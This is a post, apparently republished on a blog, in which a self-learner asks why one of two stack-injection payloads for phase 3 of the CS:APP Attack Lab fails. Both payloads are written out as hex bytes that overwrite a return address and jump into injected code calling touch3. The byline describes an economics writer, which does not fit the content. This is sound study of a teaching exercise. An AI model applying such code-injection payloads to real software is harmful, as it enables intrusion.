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Csapp Self Study Attack Lab Phase 3 Doesn't Work on My Solution

David Miller • • 2 min read
Csapp Self Study Attack Lab Phase 3 Doesn't Work on My Solution

I am currently reading the book CS:APP. I am working on the labs too which are for self study. After I got stuck at phase 3 (I don't know why) I looked up a solution which is slightly different than my approach: (see section phase 3)

I have written

48 c7 c7 b0 dc 61 55 /* this row starts at address 0x5561dc78. It stands for mov $0x5561dcb0,%rdi */
c3 /* retq /*
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 /* this row is the return address which gets overwritten by user input. It points to the beginning of the first row (little endian format) */
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61 00 /* String at address 0x5561dcb0 */

So instead of pushing the address of touch3 (0x4018fa) I put it right after the address of our return address (0x5561dc78). Somehow this doesn't work. If I would do this instead:

48 c7 c7 b0 dc 61 55
68 fa 18 40 00 /* pushq 0x4018fa */
c3 
00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
00 00 00 00 00 00 00 00
35 39 62 39 39 37 66 61 00

it works. I have no idea why. I hope here is someone who kinda knows this problem (probably did the lab too) and can explain me why.

David Miller
Author

David Miller

David Miller brings 15 years of experience in global economics, personal finance strategy, and market dynamics. He specializes in turning complex economic trends into actionable insights for everyday readers.